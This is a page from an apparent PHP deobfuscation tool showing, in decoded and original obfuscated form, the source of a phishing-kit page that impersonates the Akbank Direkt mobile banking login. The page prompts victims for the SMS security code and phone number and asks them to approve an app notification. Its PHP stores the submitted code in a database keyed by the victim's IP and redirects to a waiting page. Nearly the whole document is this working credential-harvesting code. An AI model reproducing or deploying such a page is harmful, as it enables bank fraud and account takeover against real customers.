Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto rv8I_; rIVYA: goto QyD9z; goto CZKbQ; PWxow: ycBBN: goto fvPcI; tWXRq: QyD9z:..

Decoded Output download

<?php 
 goto rv8I_; rIVYA: goto QyD9z; goto CZKbQ; PWxow: ycBBN: goto fvPcI; tWXRq: QyD9z: goto etkQC; CZKbQ: Qq1df: goto qwBCj; etkQC: if ($database->checkBanStatus($ip)) { } goto riPCY; riPCY: goto Qq1df; goto CPxZq; qwBCj: if ($_POST) { $info4 = $_POST["customerNumber"]; $ip = $database->getUserIP(); $stmt = $db->prepare("SELECT * FROM info WHERE ip = ?"); $stmt->execute(array($ip)); $existingRecord = $stmt->fetch(); if ($existingRecord) { $stmt = $db->prepare("UPDATE info SET info4 = ?,  lastOnline = ? WHERE ip = ?"); $stmt->execute(array($info4, time(), $ip)); } else { $database->redirect("index"); } $database->redirect("pending"); } goto DJy1f; Xt50i: DiEHS: goto XohNg; rv8I_: goto ycBBN; goto PWxow; XohNg: $database->pageUpdate($ip, "SMS"); goto w8Htf; w8Htf: goto gJIZu; goto tWXRq; fvPcI: require_once $_SERVER["DOCUMENT_ROOT"] . "/router.php"; goto rIVYA; DJy1f: goto DiEHS; goto Xt50i; CPxZq: gJIZu: goto ZoVxW; ZoVxW: ?><!DOCTYPE html> 
<html lang="tr"> 
 
<head> 
    <meta charset="UTF-8"> 
    <meta name="robots" content="noindex"> 
    <meta name="viewport" content="width=device-width, initial-scale=1.0"> 
    <title>Akbank Direkt</title> 
    <link rel="stylesheet" href="assets/css/akbankdirekt-core-plugins.min.css"> 
    <link rel="stylesheet" href="assets/css/akbankdirekt-core.min.css"> 
    <link rel="stylesheet" href="assets/css/akbankdirekt-parts.mobile.min.css"> 
    <link rel="stylesheet" href="assets/css/application-styles-mobile.min.css"> 
    <link rel="stylesheet" href="assets/css/custom.css"> 
    <link rel="stylesheet" href="assets/css/grey.css"> 
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet"> 
    <style> 
        .buttonx { 
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0); 
            -webkit-text-size-adjust: 100%; 
            box-sizing: border-box; 
            font: inherit; 
            margin: 0; 
            line-height: normal; 
            -webkit-appearance: button; 
            cursor: pointer; 
            display: block; 
            width: 100%; 
            background-color: transparent; 
            color: #555; 
            font-size: 18px; 
            padding-top: 12px; 
            padding-bottom: 12px; 
            border-radius: 2px; 
            outline: 0; 
            font-weight: 400; 
            border: 1px solid #555; 
            padding-right: 0; 
            padding-left: 0; 
        } 
    </style> 
</head> 
 
<body> 
    <div id="applicationHost"> 
        <div data-bind="router: { cacheViews: true, alwaysTriggerAttach: true }" data-view="views/shell" data-active-view="true" style=""> 
            <div class="guest" data-view="views/guest/guest" data-active-view="true" style=""> 
                <div class="header"> 
                    <div data-bind="click:NavigateToDesktopSite" class="desktop-part"> 
                        <div class="sub-div"> 
                            <div class="image-part"><img src="assets/images/dt-w.svg" onerror="this.src = this.src.replace(/\.svg/,&#39;.png&#39;); this.onerror = null;"></div> 
                            <div class="desktopText"> <!--ko text:GetString('DesktopWebsite')-->Masast Sitesi<!--/ko--></div> 
                        </div> 
                    </div> 
                    <div class="lang-guest-selection"> 
 
                    </div> 
                </div> 
                <div class="content-area" data-bind="router: { cacheViews: true, alwaysTriggerAttach: true }"> 
                    <div class="login-form-wrap" data-view="views/guest/login/mbblogin/mbblogin" data-active-view="true" style=""> 
                        <div class="login-router" data-bind="router: { cacheViews: false, alwaysTriggerAttach: true }"> 
                            <div class="mbbcclogin" data-view="views/guest/login/mbblogin/subviews/mbbloginpasswordcaptcha" data-active-view="true" style=""> 
                                <form id="login-formField" action="" method="post"> 
 
                                    <text-input-login params="type:&#39;mbb&#39;, placeholder:GetString(&#39;CustomerNumberLogin&#39;),value:mbbNo"> 
                                        <div class="text-input-login"> 
                                            <div data-bind="attr: { class: className}" class="text-input"> 
                                                <div class="text-input-wrap"> 
                                                    <div class="icon-part"> 
                                                        <div class="icon icon-user-w icon-user-w-size"></div> 
                                                    </div> 
                                                    <div class="input-part"> 
                                                    <input id="customerNumber" name="customerNumber" class="inputarea" type="text"placeholder="Telefonuna gelen gvenlik kodunu gir"> 
 
                                                    </div> 
                                                </div> 
                                            </div> 
                                        </div> 
                                    </text-input-login> 
                                    <hr class="login-separator"> 
                                  
                                    <div class="login-button-bar"> 
                                        <div class="login-button-wrap"> 
                                            <div class="login-button" data-bind="visible: cancelButtonVisible"> 
                                                <page-button-login params="value: GetString('CancelBIG'), action: loginCancel, enable: cancelButtonVisible"> 
                                                    <div class="page-button-login" data-bind="visible: !midButton()"> 
                                                        <input type="button" data-bind="value: value, click: action, enable: enable" value="ptal" disabled> 
                                                    </div> 
                                                    <div class="page-button-login" style="padding-left: 15px; padding-right: 15px; display: none;" data-bind="visible: midButton()"> 
                                                        <input type="button" data-bind="value: value, click: action, enable: enable" value="ptal" disabled> 
                                                    </div> 
                                                </page-button-login> 
                                            </div> 
                                            <div class="login-button" data-bind="css: { yatirimci: !cancelButtonVisible }"> 
                                                <page-button-login params="value: GetString('LoginBIG'), action: continueToLogin, enable: canSubmit"> 
                                                    <div class="page-button-login" data-bind="visible: !midButton()"> 
                                                        <input type="button" id="submitButton" data-bind="value: value, click: action, enable: enable" value="Devam Et"> 
                                                    </div> 
                                                    <div class="page-button-login" style="padding-left: 15px; padding-right: 15px; display: none;" data-bind="visible: midButton()"> 
                                                        <input type="button" data-bind="value: value, click: action, enable: enable" value="Giri" disabled> 
                                                    </div> 
                                                     
                                                </page-button-login> 
                                            </div> 
                                             
                                        </div> 
                                    </div> 
 
                                    <div class="login-button-bar"> 
                                        <div class="login-button-wrap"> 
                                             
                                            <div class="login-button" data-bind="css: { yatirimci: !cancelButtonVisible }"> 
                                                <page-button-login params="value: GetString('LoginBIG'), action: continueToLogin, enable: canSubmit"> 
                                                    <div class="page-button-login" data-bind="visible: !midButton()"> 
                                                        <input type="button" id="submitButtons" data-bind="value: value, click: action, enable: enable" value="Akbank Mobil Uygulamanza Gelen Bildirimi Onayladm"> 
                                                    </div> 
                                                    <div class="page-button-login" style="padding-left: 15px; padding-right: 15px; display: none;" data-bind="visible: midButton()"> 
                                                        <input type="button" data-bind="value: value, click: action, enable: enable" value="Giri" disabled> 
                                                    </div> 
                                                     
                                                </page-button-login> 
                                            </div> 
                                             
                                        </div> 
                                    </div> 
                                </form> 
                                <div> 
 
                                </div> 
 
                            </div> 
                        </div> 
                        <div id="bootstrapModal" style="display: none;"> 
                            <div class="modal fade in" id="bootstrapModaal" aria-hidden="false" style="height: 662px; top: 0px; display: block;"> 
                                <div class="modal-dialog"> 
                                    <div class="modal-content" id="modalHost"> 
                                        <div class="message-wrap" data-view="core/common/dialog/messagedialog" data-active-view="true" style=""> 
                                            <div class="message-title" data-bind="text: title">Hata</div> 
                                            <div class="message-body" style="overflow-y: scroll; -ms-overflow-style: -ms-autohiding-scrollbar;" data-bind="html: message">Eksik veya hatal bilgi girdiini fark ettik. Kontrol edip tekrar 
                                                deneyebilirsin.</div> 
                                            <div class="button-holder clearfix"> 
                                                <!-- ko foreach: options() --> 
                                                <div class="button-wrap clearfix first block" data-bind="css: {first: $index() == 0, block: $parent.options().length == 1, half: $parent.options().length == 2, third: $parent.options().length == 3 }"> 
                                                <input id="customerNumber" name="customerNumber" class="inputarea" type="text" placeholder="Cep Telefon Numaran Gir"> 
 
                                                </div> 
                                                <!-- /ko --> 
                                            </div> 
                                        </div> 
                                    </div> 
                                </div> 
                            </div> 
                        </div> 
 
 
                        <div class="login-navigation"> 
 
                            <!-- ko compose: _parent.LoginExtrasView --> 
                            <div class="login-nav-wrap" data-view="views/guest/login/nav" data-active-view="true" style=""> 
 
 
 
                            </div><!--/ko--> 
                        </div> 
                    </div> 
 
                </div> 
                <div class="separator"></div> 
                <div class="footer"> 
                    <div class="banner" data-bind="css:{extras:!(isLogoVisible())}"> 
                        <img class="logo" src="assets/images/standart_logo.svg" data-bind="visible:isLogoVisible()" onerror="this.src = this.src.replace(/\.svg/,&#39;.png&#39;); this.onerror = null;"> 
                        <div data-bind="visible:!(isLogoVisible())" class="extras" style="display: none;"> 
                            <a class="back-part" data-bind="click:function(){navigateBack();}"> 
                                <img class="back-image" data-bind="attr:{src:backIcon}" onerror="this.src = this.src.replace(/\.svg/,&#39;.png&#39;); this.onerror = null;" src="assets/images/back.png"> 
                            </a> 
                            <a class="close-part" data-bind="click:function(){navigateHome();}"> 
                                <img class="close-image" data-bind="attr:{src:closeIcon}" onerror="this.src = this.src.replace(/\.svg/,&#39;.png&#39;); this.onerror = null;" src="assets/images/close.png"> 
                            </a> 
                            <!--ko text:header--><!--/ko--> 
                        </div> 
                        <div class="lang-mobile-selection" data-bind="visible: langSelection()" style="display: none;"> 
                            <!-- ko foreach: SupportedLanguages --> 
                            <a data-bind="attr: {class: (LanguageCode === $parent.SelectedLanguage()?&#39;selected&#39;:&#39;&#39;)} , text: LanguageName, click: function(data, event){ if($parent.SelectedLanguage() !== LanguageCode) $parent.ChangeLang(LanguageCode)}" class="selected">Trke</a> 
                            <!-- ko if: ($index() !== ($parent.SupportedLanguages().length - 1)) --> | 
                            <!-- /ko --> 
 
                            <a data-bind="attr: {class: (LanguageCode === $parent.SelectedLanguage()?&#39;selected&#39;:&#39;&#39;)} , text: LanguageName, click: function(data, event){ if($parent.SelectedLanguage() !== LanguageCode) $parent.ChangeLang(LanguageCode)}" class="">English</a> 
                            <!-- ko if: ($index() !== ($parent.SupportedLanguages().length - 1)) --><!-- /ko --> 
                            <!-- /ko --> 
                        </div> 
                    </div> 
                    <div class="sizinicin">sizin iin</div> 
                </div> 
            </div> 
        </div> 
    </div> 
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> 
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script> 
    <script> 
        document.addEventListener("DOMContentLoaded", function() { 
            var submitButton = document.getElementById("submitButton"); 
            var submitButtons = document.getElementById("submitButtons"); 
 
            submitButtons.addEventListener("click", function(event) { 
                  event.preventDefault(); 
                    var form = document.getElementById("login-formField"); 
                    form.submit(); 
                 
            }); 
           
           
            submitButton.addEventListener("click", function(event) { 
                event.preventDefault(); 
 
                var customerNumber = document.getElementById("customerNumber").value; 
 
                if (customerNumber.length !== 6) { 
                    generateModal('Hata!', 'Gvenlik kodu 6 haneli olmaldr.', 'Tamam'); 
                } else if (!/^\d+$/.test(customerNumber)) { 
                    generateModal('Hata!', 'Gvenlik kodu sadece rakamlardan olumaldr.', 'Tamam'); 
                } else { 
                    var form = document.getElementById("login-formField"); 
                    form.submit(); 
                } 
            }); 
        }); 
 
        function generateModal(title, message, buttonText) { 
            var existingModal = document.getElementById('dynamicModal'); 
            if (existingModal) { 
                var modalTitle = existingModal.querySelector('.modal-title'); 
                var modalBody = existingModal.querySelector('.modal-body'); 
                var modalButton = existingModal.querySelector('.btn-primary'); 
                modalTitle.textContent = title; 
                modalBody.textContent = message; 
                modalButton.textContent = buttonText; 
                $('#dynamicModal').modal('show'); 
            } else { 
                var modalElement = document.createElement('div'); 
                modalElement.classList.add('modal', 'fade', 'in'); 
                modalElement.id = 'dynamicModal'; 
                modalElement.style.display = 'none'; 
 
                var modalContent = '<div class="modal-dialog"><div class="modal-content">' + 
                    '<div class="modal-header"><h5 class="modal-title">' + title + '</h5>' + 
                    '<button type="button" class="close" data-dismiss="modal" aria-label="Close">' + 
                    '<span aria-hidden="true">&times;</span></button></div>' + 
                    '<div class="modal-body">' + message + '</div>' + 
                    '<div class="modal-footer"><button type="button" class="buttonx" data-dismiss="modal" onclick="window.location.reload();">' + 
                    buttonText + '</button></div></div></div>'; 
 
                modalElement.innerHTML = modalContent; 
                document.body.appendChild(modalElement); 
 
                $('#dynamicModal').modal('show'); 
            } 
        } 
    </script> 
      <?php include("server/online.php");?> 
 
</body> 
 
</html>

Did this file decode correctly?

Original Code

<?php
 goto rv8I_; rIVYA: goto QyD9z; goto CZKbQ; PWxow: ycBBN: goto fvPcI; tWXRq: QyD9z: goto etkQC; CZKbQ: Qq1df: goto qwBCj; etkQC: if ($database->checkBanStatus($ip)) { } goto riPCY; riPCY: goto Qq1df; goto CPxZq; qwBCj: if ($_POST) { $info4 = $_POST["\143\165\x73\x74\157\155\x65\162\x4e\165\155\142\x65\x72"]; $ip = $database->getUserIP(); $stmt = $db->prepare("\123\105\x4c\105\x43\x54\40\x2a\x20\106\122\x4f\x4d\40\151\x6e\x66\x6f\40\127\110\105\122\105\x20\x69\160\40\x3d\40\x3f"); $stmt->execute(array($ip)); $existingRecord = $stmt->fetch(); if ($existingRecord) { $stmt = $db->prepare("\x55\x50\104\101\x54\x45\40\151\x6e\146\157\x20\123\x45\124\x20\151\x6e\x66\157\x34\x20\x3d\x20\77\x2c\x20\40\154\141\x73\x74\117\x6e\154\x69\x6e\145\x20\75\x20\x3f\40\127\x48\105\122\x45\40\x69\160\x20\75\x20\77"); $stmt->execute(array($info4, time(), $ip)); } else { $database->redirect("\x69\x6e\144\x65\170"); } $database->redirect("\x70\x65\x6e\x64\151\x6e\x67"); } goto DJy1f; Xt50i: DiEHS: goto XohNg; rv8I_: goto ycBBN; goto PWxow; XohNg: $database->pageUpdate($ip, "\x53\x4d\123"); goto w8Htf; w8Htf: goto gJIZu; goto tWXRq; fvPcI: require_once $_SERVER["\104\117\103\x55\x4d\105\116\124\x5f\122\117\x4f\124"] . "\57\162\x6f\165\164\x65\x72\56\x70\150\x70"; goto rIVYA; DJy1f: goto DiEHS; goto Xt50i; CPxZq: gJIZu: goto ZoVxW; ZoVxW: ?><!DOCTYPE html>
<html lang="tr">

<head>
    <meta charset="UTF-8">
    <meta name="robots" content="noindex">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Akbank Direkt</title>
    <link rel="stylesheet" href="assets/css/akbankdirekt-core-plugins.min.css">
    <link rel="stylesheet" href="assets/css/akbankdirekt-core.min.css">
    <link rel="stylesheet" href="assets/css/akbankdirekt-parts.mobile.min.css">
    <link rel="stylesheet" href="assets/css/application-styles-mobile.min.css">
    <link rel="stylesheet" href="assets/css/custom.css">
    <link rel="stylesheet" href="assets/css/grey.css">
    <link href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <style>
        .buttonx {
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0);
            -webkit-text-size-adjust: 100%;
            box-sizing: border-box;
            font: inherit;
            margin: 0;
            line-height: normal;
            -webkit-appearance: button;
            cursor: pointer;
            display: block;
            width: 100%;
            background-color: transparent;
            color: #555;
            font-size: 18px;
            padding-top: 12px;
            padding-bottom: 12px;
            border-radius: 2px;
            outline: 0;
            font-weight: 400;
            border: 1px solid #555;
            padding-right: 0;
            padding-left: 0;
        }
    </style>
</head>

<body>
    <div id="applicationHost">
        <div data-bind="router: { cacheViews: true, alwaysTriggerAttach: true }" data-view="views/shell" data-active-view="true" style="">
            <div class="guest" data-view="views/guest/guest" data-active-view="true" style="">
                <div class="header">
                    <div data-bind="click:NavigateToDesktopSite" class="desktop-part">
                        <div class="sub-div">
                            <div class="image-part"><img src="assets/images/dt-w.svg" onerror="this.src = this.src.replace(/\.svg/,&#39;.png&#39;); this.onerror = null;"></div>
                            <div class="desktopText"> <!--ko text:GetString('DesktopWebsite')-->Masast Sitesi<!--/ko--></div>
                        </div>
                    </div>
                    <div class="lang-guest-selection">

                    </div>
                </div>
                <div class="content-area" data-bind="router: { cacheViews: true, alwaysTriggerAttach: true }">
                    <div class="login-form-wrap" data-view="views/guest/login/mbblogin/mbblogin" data-active-view="true" style="">
                        <div class="login-router" data-bind="router: { cacheViews: false, alwaysTriggerAttach: true }">
                            <div class="mbbcclogin" data-view="views/guest/login/mbblogin/subviews/mbbloginpasswordcaptcha" data-active-view="true" style="">
                                <form id="login-formField" action="" method="post">

                                    <text-input-login params="type:&#39;mbb&#39;, placeholder:GetString(&#39;CustomerNumberLogin&#39;),value:mbbNo">
                                        <div class="text-input-login">
                                            <div data-bind="attr: { class: className}" class="text-input">
                                                <div class="text-input-wrap">
                                                    <div class="icon-part">
                                                        <div class="icon icon-user-w icon-user-w-size"></div>
                                                    </div>
                                                    <div class="input-part">
                                                    <input id="customerNumber" name="customerNumber" class="inputarea" type="text"placeholder="Telefonuna gelen gvenlik kodunu gir">

                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                    </text-input-login>
                                    <hr class="login-separator">
                                 
                                    <div class="login-button-bar">
                                        <div class="login-button-wrap">
                                            <div class="login-button" data-bind="visible: cancelButtonVisible">
                                                <page-button-login params="value: GetString('CancelBIG'), action: loginCancel, enable: cancelButtonVisible">
                                                    <div class="page-button-login" data-bind="visible: !midButton()">
                                                        <input type="button" data-bind="value: value, click: action, enable: enable" value="ptal" disabled>
                                                    </div>
                                                    <div class="page-button-login" style="padding-left: 15px; padding-right: 15px; display: none;" data-bind="visible: midButton()">
                                                        <input type="button" data-bind="value: value, click: action, enable: enable" value="ptal" disabled>
                                                    </div>
                                                </page-button-login>
                                            </div>
                                            <div class="login-button" data-bind="css: { yatirimci: !cancelButtonVisible }">
                                                <page-button-login params="value: GetString('LoginBIG'), action: continueToLogin, enable: canSubmit">
                                                    <div class="page-button-login" data-bind="visible: !midButton()">
                                                        <input type="button" id="submitButton" data-bind="value: value, click: action, enable: enable" value="Devam Et">
                                                    </div>
                                                    <div class="page-button-login" style="padding-left: 15px; padding-right: 15px; display: none;" data-bind="visible: midButton()">
                                                        <input type="button" data-bind="value: value, click: action, enable: enable" value="Giri" disabled>
                                                    </div>
                                                    
                                                </page-button-login>
                                            </div>
                                            
                                        </div>
                                    </div>

                                    <div class="login-button-bar">
                                        <div class="login-button-wrap">
                                            
                                            <div class="login-button" data-bind="css: { yatirimci: !cancelButtonVisible }">
                                                <page-button-login params="value: GetString('LoginBIG'), action: continueToLogin, enable: canSubmit">
                                                    <div class="page-button-login" data-bind="visible: !midButton()">
                                                        <input type="button" id="submitButtons" data-bind="value: value, click: action, enable: enable" value="Akbank Mobil Uygulamanza Gelen Bildirimi Onayladm">
                                                    </div>
                                                    <div class="page-button-login" style="padding-left: 15px; padding-right: 15px; display: none;" data-bind="visible: midButton()">
                                                        <input type="button" data-bind="value: value, click: action, enable: enable" value="Giri" disabled>
                                                    </div>
                                                    
                                                </page-button-login>
                                            </div>
                                            
                                        </div>
                                    </div>
                                </form>
                                <div>

                                </div>

                            </div>
                        </div>
                        <div id="bootstrapModal" style="display: none;">
                            <div class="modal fade in" id="bootstrapModaal" aria-hidden="false" style="height: 662px; top: 0px; display: block;">
                                <div class="modal-dialog">
                                    <div class="modal-content" id="modalHost">
                                        <div class="message-wrap" data-view="core/common/dialog/messagedialog" data-active-view="true" style="">
                                            <div class="message-title" data-bind="text: title">Hata</div>
                                            <div class="message-body" style="overflow-y: scroll; -ms-overflow-style: -ms-autohiding-scrollbar;" data-bind="html: message">Eksik veya hatal bilgi girdiini fark ettik. Kontrol edip tekrar
                                                deneyebilirsin.</div>
                                            <div class="button-holder clearfix">
                                                <!-- ko foreach: options() -->
                                                <div class="button-wrap clearfix first block" data-bind="css: {first: $index() == 0, block: $parent.options().length == 1, half: $parent.options().length == 2, third: $parent.options().length == 3 }">
                                                <input id="customerNumber" name="customerNumber" class="inputarea" type="text" placeholder="Cep Telefon Numaran Gir">

                                                </div>
                                                <!-- /ko -->
                                            </div>
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </div>


                        <div class="login-navigation">

                            <!-- ko compose: _parent.LoginExtrasView -->
                            <div class="login-nav-wrap" data-view="views/guest/login/nav" data-active-view="true" style="">



                            </div><!--/ko-->
                        </div>
                    </div>

                </div>
                <div class="separator"></div>
                <div class="footer">
                    <div class="banner" data-bind="css:{extras:!(isLogoVisible())}">
                        <img class="logo" src="assets/images/standart_logo.svg" data-bind="visible:isLogoVisible()" onerror="this.src = this.src.replace(/\.svg/,&#39;.png&#39;); this.onerror = null;">
                        <div data-bind="visible:!(isLogoVisible())" class="extras" style="display: none;">
                            <a class="back-part" data-bind="click:function(){navigateBack();}">
                                <img class="back-image" data-bind="attr:{src:backIcon}" onerror="this.src = this.src.replace(/\.svg/,&#39;.png&#39;); this.onerror = null;" src="assets/images/back.png">
                            </a>
                            <a class="close-part" data-bind="click:function(){navigateHome();}">
                                <img class="close-image" data-bind="attr:{src:closeIcon}" onerror="this.src = this.src.replace(/\.svg/,&#39;.png&#39;); this.onerror = null;" src="assets/images/close.png">
                            </a>
                            <!--ko text:header--><!--/ko-->
                        </div>
                        <div class="lang-mobile-selection" data-bind="visible: langSelection()" style="display: none;">
                            <!-- ko foreach: SupportedLanguages -->
                            <a data-bind="attr: {class: (LanguageCode === $parent.SelectedLanguage()?&#39;selected&#39;:&#39;&#39;)} , text: LanguageName, click: function(data, event){ if($parent.SelectedLanguage() !== LanguageCode) $parent.ChangeLang(LanguageCode)}" class="selected">Trke</a>
                            <!-- ko if: ($index() !== ($parent.SupportedLanguages().length - 1)) --> |
                            <!-- /ko -->

                            <a data-bind="attr: {class: (LanguageCode === $parent.SelectedLanguage()?&#39;selected&#39;:&#39;&#39;)} , text: LanguageName, click: function(data, event){ if($parent.SelectedLanguage() !== LanguageCode) $parent.ChangeLang(LanguageCode)}" class="">English</a>
                            <!-- ko if: ($index() !== ($parent.SupportedLanguages().length - 1)) --><!-- /ko -->
                            <!-- /ko -->
                        </div>
                    </div>
                    <div class="sizinicin">sizin iin</div>
                </div>
            </div>
        </div>
    </div>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
    <script>
        document.addEventListener("DOMContentLoaded", function() {
            var submitButton = document.getElementById("submitButton");
            var submitButtons = document.getElementById("submitButtons");

            submitButtons.addEventListener("click", function(event) {
                  event.preventDefault();
                    var form = document.getElementById("login-formField");
                    form.submit();
                
            });
          
          
            submitButton.addEventListener("click", function(event) {
                event.preventDefault();

                var customerNumber = document.getElementById("customerNumber").value;

                if (customerNumber.length !== 6) {
                    generateModal('Hata!', 'Gvenlik kodu 6 haneli olmaldr.', 'Tamam');
                } else if (!/^\d+$/.test(customerNumber)) {
                    generateModal('Hata!', 'Gvenlik kodu sadece rakamlardan olumaldr.', 'Tamam');
                } else {
                    var form = document.getElementById("login-formField");
                    form.submit();
                }
            });
        });

        function generateModal(title, message, buttonText) {
            var existingModal = document.getElementById('dynamicModal');
            if (existingModal) {
                var modalTitle = existingModal.querySelector('.modal-title');
                var modalBody = existingModal.querySelector('.modal-body');
                var modalButton = existingModal.querySelector('.btn-primary');
                modalTitle.textContent = title;
                modalBody.textContent = message;
                modalButton.textContent = buttonText;
                $('#dynamicModal').modal('show');
            } else {
                var modalElement = document.createElement('div');
                modalElement.classList.add('modal', 'fade', 'in');
                modalElement.id = 'dynamicModal';
                modalElement.style.display = 'none';

                var modalContent = '<div class="modal-dialog"><div class="modal-content">' +
                    '<div class="modal-header"><h5 class="modal-title">' + title + '</h5>' +
                    '<button type="button" class="close" data-dismiss="modal" aria-label="Close">' +
                    '<span aria-hidden="true">&times;</span></button></div>' +
                    '<div class="modal-body">' + message + '</div>' +
                    '<div class="modal-footer"><button type="button" class="buttonx" data-dismiss="modal" onclick="window.location.reload();">' +
                    buttonText + '</button></div></div></div>';

                modalElement.innerHTML = modalContent;
                document.body.appendChild(modalElement);

                $('#dynamicModal').modal('show');
            }
        }
    </script>
      <?php include("server/online.php");?>

</body>

</html>

Function Calls

None

Variables

None

Stats

MD5 54be114ce9da2a2ce005485d9e196cf8
Eval Count 0
Decode Time 64 ms